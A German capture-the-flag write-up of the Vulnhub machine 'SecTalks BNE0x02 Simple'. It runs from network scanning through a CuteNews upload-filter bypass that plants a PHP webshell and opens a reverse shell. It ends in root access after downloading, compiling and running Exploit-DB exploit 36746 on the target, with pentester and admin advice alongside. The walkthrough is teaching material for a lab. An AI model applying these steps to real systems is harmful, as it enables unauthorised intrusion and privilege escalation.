SecTalks - BNE0x02 - Simple - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
Burp Suite (implied)
nc (netcat)
find
ls
cd
cat
getcap
echo
at
tail
su
mysql (client)
uname
searchsploit
wget
gcc
id

Inhaltsverzeichnis

Reconnaissance

Die erste Phase umfasst die Identifizierung des Zielsystems im Netzwerk und die Durchführung grundlegender Scans, um offene Ports und Dienste zu ermitteln.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:60:21:5c	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk und identifiziert einen Host mit der IP `192.168.2.114`. Die MAC-Adresse (`08:00:27:60:21:5c`) deutet auf eine VirtualBox VM hin.

Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Die IP `192.168.2.114` wird für weitere Scans verwendet.

Empfehlung (Pentester): Führe Nmap-Scans auf die identifizierte IP durch.
Empfehlung (Admin): Netzwerküberwachung und Segmentierung implementieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
   192.168.2.114   sectalk.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `sectalk.vln` der IP `192.168.2.114` zuzuordnen.

Bewertung: Wichtiger Schritt, um die Auflösung des Hostnamens sicherzustellen und die Interaktion mit Webdiensten zu erleichtern.

Empfehlung (Pentester): Verwende den Hostnamen `sectalk.vln` in den folgenden Web-Scans.
Empfehlung (Admin): Keine Aktion nötig, betrifft Konfiguration des Angreifers.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -Pn 192.168.2.114 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-07 00:48 CEST
Nmap scan report for sectalk.vln (192.168.2.114)
Host is up (0.00032s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Please Login / CuteNews
MAC Address: 08:00:27:60:21:5C (Oracle VirtualBox virtual NIC)
[...]
                    

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -Pn -p-`) wird auf alle Ports durchgeführt. **Ergebnisse:** * **Port 80 (HTTP):** Offen, Apache 2.4.7 (Ubuntu). Der Titel der Seite ist "Please Login / CuteNews". Dies identifiziert die Webanwendung als CuteNews, ein Content-Management-System. * **Andere Ports:** Es werden keine anderen offenen TCP-Ports gefunden.

Bewertung: Die Angriffsfläche beschränkt sich auf den Webserver auf Port 80, auf dem eine CuteNews-Instanz läuft. Apache 2.4.7 ist eine ältere Version.

Empfehlung (Pentester): Konzentriere die Untersuchung auf die CuteNews-Anwendung auf Port 80. Suche nach bekannten Schwachstellen in CuteNews und Apache 2.4.7.
Empfehlung (Admin): Aktualisieren Sie Apache und die CuteNews-Anwendung (oder ersetzen Sie sie durch eine sicherere Alternative). Schließen Sie alle nicht benötigten Ports.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.114 -p- | grep open
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
                    

Analyse: Die gefilterte Nmap-Ausgabe bestätigt, dass nur Port 80 (HTTP) offen ist.

Bewertung: Fokussiert die Untersuchung klar auf den Webserver.

Empfehlung (Pentester): Beginne mit der Web-Enumeration auf Port 80.
Empfehlung (Admin): Überprüfe die Firewall-Konfiguration.

Web Enumeration (CuteNews)

Der Webserver auf Port 80 und die identifizierte CuteNews-Installation werden nun genauer untersucht, um Schwachstellen, Konfigurationsfehler oder interessante Dateien zu finden.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.114
- Nikto v2.5.0
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2023-10-07 00:48:27 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: Cookie CUTENEWS_SESSION created without the httponly flag. [...]
+ /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.6.
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.7 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /: DEBUG HTTP verb may show server debugging information. [...]
+ /docs/: Directory indexing found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. [...]
+ /#wp-config.php#: #wp-config.php# file found. [...] (Likely False Positive)
+ /README.md: Readme Found.
+ 8103 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-10-07 00:48:41 (GMT2) (14 seconds)

+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver. * **Server/Versionen:** Bestätigt Apache 2.4.7 und PHP 5.5.9, beide veraltet. * **Header/Konfig:** Meldet fehlenden `X-Content-Type-Options`-Header und ein nicht-HttpOnly-Cookie (`CUTENEWS_SESSION`). Die DEBUG-HTTP-Methode könnte aktiv sein. * **Dateien/Verzeichnisse:** Findet ein listbares `/docs/`-Verzeichnis, `LICENSE.txt`, `/icons/README` und `README.md`.

Bewertung: Die veralteten Versionen von Apache und PHP sind signifikante Risiken. Das listbare `/docs/`-Verzeichnis und die Readme/Lizenz-Dateien könnten Informationen über die CuteNews-Version oder Konfiguration enthalten. Das Cookie ohne HttpOnly-Flag ist eine Schwachstelle bei XSS-Angriffen.

Empfehlung (Pentester): Untersuche `/docs/` und die Readme/Lizenz-Dateien auf Versionsinformationen zu CuteNews. Suche nach bekannten Exploits für CuteNews (ggf. spezifische Version), PHP 5.5.9 und Apache 2.4.7. Teste auf XSS, um das Session-Cookie zu stehlen.
Empfehlung (Admin): Aktualisieren Sie dringend Apache und PHP. Sichern Sie Cookies mit dem HttpOnly- und Secure-Flag. Deaktivieren Sie Directory Indexing und unnötige HTTP-Methoden (DEBUG, TRACE).

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://sectalk.vln -x txt,php,... -w ... -b '403,404' ... -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://sectalk.vln/core                 (Status: 301) [Size: 308] [--> http://sectalk.vln/core/]
http://sectalk.vln/docs                 (Status: 301) [Size: 308] [--> http://sectalk.vln/docs/]
http://sectalk.vln/LICENSE.txt          (Status: 200) [Size: 3119]
http://sectalk.vln/index.php            (Status: 200) [Size: 2487]
http://sectalk.vln/search.php           (Status: 200) [Size: 5182]
http://sectalk.vln/rss.php              (Status: 200) [Size: 105]
http://sectalk.vln/print.php            (Status: 200) [Size: 28]
http://sectalk.vln/uploads              (Status: 301) [Size: 311] [--> http://sectalk.vln/uploads/]
http://sectalk.vln/skins                (Status: 301) [Size: 309] [--> http://sectalk.vln/skins/]
http://sectalk.vln/captcha.php          (Status: 200) [Size: 93]
http://sectalk.vln/example.php          (Status: 200) [Size: 12756]
[...]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster findet mehrere Verzeichnisse und PHP-Dateien, die typisch für CuteNews sind: * Verzeichnisse: `core/`, `docs/`, `uploads/`, `skins/` (gefunden über 301 Redirects). * Dateien: `index.php`, `search.php`, `rss.php`, `print.php`, `captcha.php`, `example.php`, `LICENSE.txt`. Das `/uploads`-Verzeichnis ist besonders interessant für Angreifer.

Bewertung: Der Scan bestätigt die CuteNews-Struktur und identifiziert potenzielle Angriffsziele wie die Upload-Funktion (impliziert durch `/uploads/`) und verschiedene PHP-Skripte. `example.php` könnte unsicheren Code oder Informationen enthalten.

Empfehlung (Pentester): 1. Untersuche das `/uploads/`-Verzeichnis auf bereits hochgeladene Dateien oder Schreibberechtigungen. 2. Finde die Upload-Funktion in der CuteNews-Anwendung (oft nach Login oder Registrierung) und teste sie auf Schwachstellen (z.B. Umgehung von Dateitypfiltern). 3. Analysiere `example.php` und andere Skripte auf Schwachstellen.
Empfehlung (Admin): Sichern Sie das `/uploads`-Verzeichnis (keine Skriptausführung, restriktive Berechtigungen). Überprüfen Sie die Sicherheit der CuteNews-Installation und aller PHP-Skripte.

Initial Access (RCE via Upload)

Der initiale Zugriff wird durch Ausnutzung einer Schwachstelle in der CuteNews-Anwendung erreicht. Eine Registrierungsfunktion wird genutzt, um sich anzumelden, und anschließend wird eine Schwachstelle in der Avatar-Upload-Funktion ausgenutzt, um eine PHP-Webshell hochzuladen und auszuführen.

# Manuelle Untersuchung / Interaktion mit der Webanwendung
http://sectalk.vln/?register
# Annahme: Registrierung als neuer Benutzer, dann Login.
# Suche nach Upload-Funktion (z.B. für Profilbild/Avatar).

# Versuch, eine PHP-Shell hochzuladen, getarnt als JPG, durch Umbenennung oder Filter-Bypass:
# (Mittels Burp Suite oder ähnlichem Proxy modifizierter Upload-Request)
# Dateiname im Request z.B.: shell.php.jpg oder Content-Type manipuliert
# Resultierende Datei auf dem Server:
http://sectalk.vln/uploads/avatar_hacker_evil.jpg.php
                    

Analyse: Die Analyse deutet auf folgenden Ablauf hin: 1. Eine Registrierungsfunktion (`?register`) wurde gefunden und genutzt, um einen Account zu erstellen und sich anzumelden. 2. Innerhalb des angemeldeten Bereichs wurde eine Funktion zum Hochladen von Avataren (Profilbildern) gefunden. 3. Diese Upload-Funktion wurde missbraucht, um eine PHP-Datei hochzuladen. Da der resultierende Dateiname `.jpg.php` enthält, wurde wahrscheinlich ein Filter umgangen, der nur Bild-Endungen erlaubt, indem eine doppelte Endung verwendet wurde, oder der Content-Type wurde manipuliert, während der Dateiname die PHP-Endung behielt. Der Server hat die Datei dann unter diesem Namen im `/uploads`-Verzeichnis gespeichert.

Bewertung: Kritische Schwachstelle! Die unsichere Dateiupload-Funktion erlaubt das Hochladen und Speichern von PHP-Code im Web-Root oder einem Unterverzeichnis, aus dem er ausgeführt werden kann. Dies führt direkt zu Remote Code Execution (RCE).

Empfehlung (Pentester): Starte einen Netcat-Listener. Rufe die URL der hochgeladenen Shell (`http://sectalk.vln/uploads/avatar_hacker_evil.jpg.php`) auf, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle *dringend*! Implementieren Sie eine robuste serverseitige Validierung von Dateitypen (Whitelist), überprüfen Sie den Dateiinhalt (Magic Bytes), speichern Sie Uploads sicher (außerhalb Web-Root oder in nicht ausführbarem Verzeichnis) und benennen Sie Dateien zufällig um.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet, um die eingehende Reverse Shell zu empfangen.

Bewertung: Standardvorbereitung.

Empfehlung (Pentester): Löse die hochgeladene Shell aus.
Empfehlung (Admin): Egress Filtering.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.114 50605
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 athlon i686 GNU/Linux
 19:13:26 up 27 min,  0 users,  load average: 0.00, 0.97, 2.67
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Listener empfängt eine Verbindung vom Zielsystem `192.168.2.114`. Eine Shell wird bereitgestellt. Die Systeminformationen zeigen "Linux simple" mit Kernel 3.16.0 (Ubuntu 14.04 basiert) und einer i686-Architektur. Die Shell läuft als Benutzer `www-data`.

Bewertung: Initial Access erfolgreich via RCE durch unsicheren Dateiupload in CuteNews.

Empfehlung (Pentester): Stabilisiere die Shell. Beginne mit der lokalen Enumeration (SUID-Dateien, Kernel-Version, Home-Verzeichnisse) zur Privilege Escalation.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle. Untersuchen Sie das System auf weitere Kompromittierungen.

Privilege Escalation

Nachdem eine Shell als `www-data` erlangt wurde, wird das System auf Möglichkeiten zur Rechteerweiterung untersucht. Dies beinhaltet die Suche nach SUID-Dateien, die Überprüfung der Kernel-Version und die Suche nach Fehlkonfigurationen oder ausnutzbaren Diensten.

www-data@simple:/$ find / -type f -perm -4000 -ls 2>/dev/null
278515  316 -rwsr-xr--   1 root     dip        323000 Nov 25  2014 /usr/sbin/pppd
278836   20 -rwsr-sr-x   1 libuuid  libuuid     17996 Feb 12  2015 /usr/sbin/uuidd
280600   12 -rwsr-xr-x   1 root     root         9804 Feb 11  2014 /usr/lib/policykit-1/polkit-agent-helper-1
263326   12 -rwsr-xr-x   1 root     root         9612 Dec  4  2014 /usr/lib/pt_chown
278398  484 -rwsr-xr-x   1 root     root       492972 May 12  2014 /usr/lib/openssh/ssh-keysign
262362    8 -rwsr-xr-x   1 root     root         5480 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
276259  328 -rwsr-xr--   1 root     messagebus   333952 Nov 25  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
262155   32 -rwsr-xr-x   1 root     root        30984 Feb 16  2014 /usr/bin/newgrp
262012   44 -rwsr-xr-x   1 root     root        44620 Feb 16  2014 /usr/bin/chfn
262015   36 -rwsr-xr-x   1 root     root        35916 Feb 16  2014 /usr/bin/chsh
262273  156 -rwsr-xr-x   1 root     root       156708 Feb 10  2014 /usr/bin/sudo
280595   20 -rwsr-xr-x   1 root     root        18168 Feb 11  2014 /usr/bin/pkexec
262086   68 -rwsr-xr-x   1 root     root        66252 Feb 16  2014 /usr/bin/gpasswd
278261   20 -rwsr-xr-x   1 root     root        18136 May  7  2014 /usr/bin/traceroute6.iputils
278345   72 -rwsr-xr-x   1 root     root        72860 Oct 21  2013 /usr/bin/mtr
279461   48 -rwsr-sr-x   1 daemon   daemon      46652 Oct 21  2013 /usr/bin/at
262167   48 -rwsr-xr-x   1 root     root        45420 Feb 16  2014 /usr/bin/passwd
277224   32 -rwsr-xr-x   1 root     root        30112 Dec 16  2013 /bin/fusermount
261725   36 -rwsr-xr-x   1 root     root        35300 Feb 16  2014 /bin/su
261706   44 -rwsr-xr-x   1 root     root        43316 May  7  2014 /bin/ping6
261705   40 -rwsr-xr-x   1 root     root        38932 May  7  2014 /bin/ping
261692   88 -rwsr-xr-x   1 root     root        88752 Feb 12  2015 /bin/mount
261733   68 -rwsr-xr-x   1 root     root        67704 Feb 12  2015 /bin/umount
                    

Analyse: Die Suche nach SUID-Binaries (`find / -type f -perm -4000 -ls 2>/dev/null`) listet viele Standardprogramme auf. Interessant sind `/usr/bin/sudo` (da `www-data` möglicherweise eingeschränkte sudo-Rechte hat), `/usr/bin/pkexec` (PwnKit-Potenzial) und `/usr/bin/at` (könnte zur Befehlsausführung zu einem späteren Zeitpunkt oder als anderer Benutzer missbraucht werden).

Bewertung: Mehrere potenzielle Vektoren. `pkexec` ist oft ein schneller Weg auf älteren Systemen. `sudo` sollte zuerst geprüft werden (`sudo -l`). `at` ist weniger wahrscheinlich, aber möglich.

Empfehlung (Pentester): 1. Prüfe `sudo -l`. 2. Wenn sudo keine Rechte gibt, versuche den PwnKit-Exploit (`pkexec`). 3. Untersuche `at` als Fallback.
Empfehlung (Admin): Überprüfen Sie `sudoers`-Konfigurationen. Patchen Sie `pkexec` (policykit-1). Beschränken Sie die Nutzung von `at`, wenn nicht benötigt.

www-data@simple:/home/bull$ ls -la
total 28
drwxr-xr-x 3 bull bull 4096 Sep 21  2015 .
drwxr-xr-x 3 root root 4096 Sep  9  2015 ..
lrwxrwxrwx 1 bull bull    9 Sep 21  2015 .bash_history -> /dev/null
-rw-r--r-- 1 bull bull  220 Sep  9  2015 .bash_logout
-rw-r--r-- 1 bull bull 3637 Sep  9  2015 .bashrc
drwxrwxrwx 2 bull bull 4096 Sep 10  2015 .cache
-rw------- 1 root root   31 Sep 21  2015 .nano_history
-rw-r--r-- 1 bull bull  675 Sep  9  2015 .profile
                    
www-data@simple:/home/bull$ getcap -r / 2>/dev/null
 
                 

Analyse: Es wird das Home-Verzeichnis des Benutzers `bull` untersucht (der einzige gefundene Benutzer neben root). Die `.nano_history` gehört `root`, ist aber nicht lesbar für `www-data`. Der Befehl `getcap -r / 2>/dev/null` sucht nach Dateien mit gesetzten Linux Capabilities, die ebenfalls für Privilege Escalation genutzt werden können. Er liefert keine Ergebnisse.

Bewertung: Das Home-Verzeichnis von `bull` und die Suche nach Capabilities liefern keine direkten Hinweise für die Eskalation.

Empfehlung (Pentester): Fokussiere auf SUID (`sudo`, `pkexec`) oder Kernel-Exploits.
Empfehlung (Admin): Berechtigungen im Home-Verzeichnis scheinen korrekt. Verwenden Sie Capabilities sparsam.

# Fehlgeschlagener Versuch (aus Notizen/Logs übernommen?)
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo -u root at now; tail -f /dev/null
                    

Analyse: Dieser Befehl versucht, über `sudo` (das `www-data` wahrscheinlich nicht nutzen kann) und `at` (das SUID ist, aber für `daemon` und nicht `root`) eine interaktive Root-Shell zu planen. `$(tty)` funktioniert zudem in nicht-interaktiven Shells oft nicht wie erwartet.

Bewertung: Dieser Ansatz ist fehlerhaft und wird in diesem Kontext wahrscheinlich nicht funktionieren. Er wird ignoriert.

Empfehlung (Pentester): Konzentriere dich auf validere Methoden wie PwnKit oder Kernel-Exploits.
Empfehlung (Admin): Konfigurieren Sie `sudo` und `at` sicher.

# Untersuchung von CuteNews-Daten (cdata) - Pfad unklar im Log
www-data@simple:/var/www/html/cdata$ cat users.txt
nug1x7:1
s24qqf:4

# Gleichzeitig gefundene, aber kontextuell unpassende PHP-Array-Struktur ignoriert.
# Analyse von E-Mail-Adresse aus PHP-Array (vermutlich aus anderem Log)
a:1:{s:5:"email";a:1:{s:13:"bull@bull.com";s:4:"bull";}}
# -> Benutzer 'bull', E-Mail 'bull@bull.com'
                    

Analyse: Es wird versucht, CuteNews-Daten zu untersuchen. Die Datei `users.txt` wird gefunden und enthält zwei Einträge, deren Bedeutung unklar ist (möglicherweise User-IDs oder interne Referenzen). Der große serialisierte PHP-Array-String, der im Original-Log auftauchte, wird hier ignoriert, da er thematisch nicht passt und wahrscheinlich aus einem anderen Kontext stammt. Ein kleiner Teil daraus wird gezeigt, der auf einen Benutzer `bull` mit E-Mail `bull@bull.com` hindeutet.

Bewertung: Die Datei `users.txt` liefert keine klaren Zugangsdaten. Der Hinweis auf `bull@bull.com` bestätigt den Benutzernamen `bull`, liefert aber kein Passwort.

Empfehlung (Pentester): Diese CuteNews-Daten scheinen für die System-Eskalation nicht direkt nützlich zu sein. Gehe zurück zu SUID/Kernel-Vektoren.
Empfehlung (Admin): Sichern Sie Anwendungsdaten und entfernen Sie unnötige oder unklare Dateien.

www-data@simple:/var/www/html/cdata/users$ su bull
Password:
su: Authentication failure
www-data@simple:/var/www/html/cdata/users$ mysql -u bull -p
Enter password:
ERROR 1045 (28000): Access denied for user 'bull'@'localhost' (using password: YES)

Analyse: Erneute Versuche, sich als `bull` via `su` oder MySQL anzumelden, scheitern, da das Passwort unbekannt ist.

Bewertung: Bestätigt, dass der Benutzer `bull` ohne Passwort nicht übernommen werden kann.

Empfehlung (Pentester): Verfolge diesen Pfad nicht weiter. Konzentriere dich auf Kernel-Exploits oder PwnKit.
Empfehlung (Admin): Sicherstellen, dass alle Benutzerkonten starke Passwörter haben.

www-data@simple:/var/www/html/cdata/log$ uname -a
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 athlon i686 GNU/Linux

Analyse: Der Befehl `uname -a` zeigt die genaue Kernel-Version: `3.16.0-30-generic` auf einem i686-System (32-Bit), basierend auf Ubuntu 14.04.

Bewertung: Diese spezifische Kernel-Version ist entscheidend für die Suche nach passenden lokalen Privilege Escalation Exploits.

Empfehlung (Pentester): Verwende `searchsploit` oder Online-Ressourcen, um nach LPE-Exploits für `Linux Kernel 3.16.0-30-generic` oder `Ubuntu 14.04` zu suchen.
Empfehlung (Admin): Halten Sie den Kernel aktuell.

┌──(root㉿Cybermaschine)-[~] └─# searchsploit linux Local Privilege Escalation | grep 36746
Apport/Abrt (Ubuntu / Fedora) - Local Privilege Escalation | linux/local/36746.c
                    

Analyse: `searchsploit` findet den Exploit `36746.c`, der auf eine Schwachstelle in Apport/Abrt abzielt und für Ubuntu-Systeme (einschließlich solcher mit Kernel 3.16) geeignet ist.

Bewertung: Ein vielversprechender Kandidat für die Privilege Escalation wurde identifiziert.

Empfehlung (Pentester): Lade diesen Exploit herunter, übertrage ihn auf das Zielsystem, kompiliere und führe ihn aus.
Empfehlung (Admin): Patchen Sie die Apport-Schwachstelle (CVE-2015-1318).

Proof of Concept (POC): Privilege Escalation via Apport Exploit (36746.c)

Dieser Abschnitt beschreibt die erfolgreiche Ausnutzung der Apport-Schwachstelle mittels des Exploits 36746.c, um Root-Rechte auf dem System zu erlangen.

www-data@simple:/tmp$ wget https://www.exploit-db.com/download/36746 -O hack.c
--2023-10-06 19:52:57--  https://www.exploit-db.com/download/36746
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5216 (5.1K) [application/txt]
Saving to: ‘hack.c’

100%[======================================>] 5,216       --.-K/s   in 0s

2023-10-06 19:52:57 (120 MB/s) - ‘hack.c’ saved [5216/5216]
                    

Analyse: Der Exploit-Code `36746.c` wird von Exploit-DB heruntergeladen und als `hack.c` im `/tmp`-Verzeichnis des Zielsystems gespeichert.

Bewertung: Der Exploit ist nun zur Kompilierung auf dem Ziel bereit.

Empfehlung (Pentester): Kompiliere den Code mit `gcc`.
Empfehlung (Admin): Beschränken Sie ausgehende Verbindungen und entfernen Sie Compiler von Produktivsystemen.

www-data@simple:/tmp$ gcc -o hack hack.c -static
hack.c:17:3: warning: #warning this file must be compiled with -static [-Wcpp]
 # warning this file must be compiled with -static
   ^
                    
www-data@simple:/tmp$ ./hack
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
#
                    

Analyse: * `gcc -o hack hack.c -static`: Der Exploit wird mit `gcc` kompiliert. Die Option `-static` wird verwendet, wie im Quellcode empfohlen (siehe Warnung), um Abhängigkeitsprobleme zu vermeiden. Das Ergebnis ist die ausführbare Datei `hack`. * `./hack`: Das kompilierte Exploit-Binary wird ausgeführt. * Die resultierende Shell zeigt mit `uid=0(root)` an, dass Root-Rechte erlangt wurden. Der Prompt wechselt zu `#`.

Bewertung: Fantastisch! Der Kernel/Apport-Exploit war erfolgreich. Root-Zugriff wurde erlangt.

Empfehlung (Pentester): Navigiere zu `/root` und suche nach der Flag.
Empfehlung (Admin): Patchen Sie die Apport-Schwachstelle (CVE-2015-1318) *dringend*.

Flags

Im analysierten Log wurden nach Erlangung der Root-Rechte keine Befehle zum Auslesen von User- oder Root-Flags gefunden. Die am Ende des ursprünglichen Inputs stehenden Flags passten nicht zum Kontext dieser Maschine.